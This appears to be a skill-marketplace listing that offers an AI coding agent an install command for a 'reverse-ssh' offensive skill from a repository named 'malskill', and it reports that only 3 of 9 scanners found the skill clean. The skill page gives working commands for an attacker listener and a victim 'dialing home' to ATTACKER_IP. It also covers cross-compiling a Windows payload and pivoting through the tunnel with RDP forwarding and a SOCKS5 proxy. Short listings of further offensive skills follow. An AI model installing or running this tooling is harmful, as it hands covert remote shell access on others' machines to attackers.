offensive-tools/shells/reverse-ssh/SKILL.md
Establish reverse SSH tunnels from victim to attacker for interactive shell access behind NAT/firewall. Use when target is not directly reachable and you need a stable SSH shell through outbound-only connections.
npx skillsauth add aeondave/malskill reverse-sshInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Reverse SSH server/tunnel for resilient shell access when inbound connectivity to target is blocked.
# Attacker listener mode
./reverse-ssh -l -p 31337
# Victim dials home
./reverse-ssh -p 31337 <attacker-ip>
# Attacker connects to reverse-bound shell port
ssh -p 8888 127.0.0.1
| Flag | Purpose |
|------|---------|
| -l | Listen mode (bind scenario) |
| -p PORT | SSH port to listen/dial (default 31337) |
| -b PORT | Reverse scenario bind port on attacker side (default 8888) |
| -s SHELL | Shell to spawn (/bin/bash, cmd path hints, etc.) |
| -N | Deny shell/exec/subsystem/local-forward requests |
| --socks5 | Enable SOCKS5 proxy |
| -v | Verbose logs |
Deploy reverse shell:
# Compile for Windows target (from Linux)
GOOS=windows GOARCH=amd64 go build -o rev.exe .
# Transfer to victim, execute:
rev.exe -p 31337 ATTACKER_IP
Port forwarding via reverse SSH:
# From attacker, tunnel internal RDP over obtained SSH endpoint
ssh -p 8888 -L 3389:127.0.0.1:3389 127.0.0.1
# Connect RDP client to localhost:3389
SOCKS5 proxy:
# Open SSH dynamic forwarding via recovered endpoint
ssh -p 8888 -D 1080 127.0.0.1
RS_PASS, RS_PUB).BPORT to avoid collisions during multi-target operations.-N in listener-only workflows where shell execution is not required.| File | When to load |
|------|--------------|
| references/deployment-and-hardening.md | Precise port model (-p vs -b), hardened build flags, safer deployment patterns |
data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.